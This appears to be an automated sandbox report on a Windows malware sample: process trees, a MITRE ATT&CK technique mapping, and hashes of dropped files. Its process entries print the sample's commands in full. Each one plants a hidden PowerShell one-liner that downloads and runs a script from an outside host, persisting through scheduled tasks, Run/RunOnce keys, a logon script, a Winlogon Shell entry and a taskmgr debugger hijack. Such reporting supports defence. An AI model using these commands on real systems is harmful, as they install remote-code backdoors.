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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:400 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵PID:1100
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc onlogon /f2⤵
- Executes a command shell one-liner
PID:3912 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc onlogon /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:2124
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc minute /mo 5 /f2⤵
- Executes a command shell one-liner
PID:4588 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc minute /mo 5 /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:4928
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:3320 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵PID:1988
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:3424 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵PID:4448
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:5420 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵PID:4276
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:5260 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵PID:2680
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:3324 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵PID:4980
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc onlogon /f2⤵
- Executes a command shell one-liner
PID:4816 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc onlogon /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:5140
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc minute /mo 5 /f2⤵
- Executes a command shell one-liner
PID:6032 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc minute /mo 5 /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:1312
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Event Triggered Execution
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Event Triggered Execution
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1cxlg0v.ifo.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\tmp38A5.tmp.bat
- Size 158B
- SHA256 71ea604908dede597cdef2b0d649e8746ae9c058913422bfdfde850f0e24cde0
- MD5 64342cacfe5f8e38de01ec188fa3bdf6
- SHA1 c5e04a12a26c78ad61cde2caf9823aaa2c1c235b
- SHA512 3fb3fb2c036a27c9d37114ab0adcf1ba2e2a16a83ab48b9de70702aae697ca46d82a9608cfd4cda33fb39b58d0f2a055ae61ea6126cde764ab3e2cda2767c0ad
- TLSH T143C08C5A91C5EA4F6806342302BA988CB1B6696A3E40BB008348404D32C28C9F49A383
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft Edge.exe
- Size 94KB
- SHA256 1818f2d969b18b9e5920f3f4a0b0c3ccdb26d31c4c317c68e4e04ff00529fea5
- MD5 9394cf84f9fec45b7fb7b3949b37a5a7
- SHA1 4d7620add5d7948bdaa6f4b15c0c68c6c57b0ae5
- SHA512 b4c9814d6b6c873af054e04e4b02269bba844ba671c06aba6e9829cad5b78cd5f86b926a58a781cfdac1b47ca260775f281c7018ecbefe31c3efe3a42cbe4ef8
- SSDEEP 1536:ljoK0CZM/fKkywSw+xUAH7J1/bx1zwiSgWoZB91Ues3blew5VJU1vIex:ljoK0CZM/fXywqxUAHl1/bx2rGbiew5I
- TLSH T12F93F8403BF94115F3BF9BBCADB1A2458975F9636912DA5D0CA410CE0632B80DE92F77
- MD5 SHA1 SHA512 SSDEEP TLSH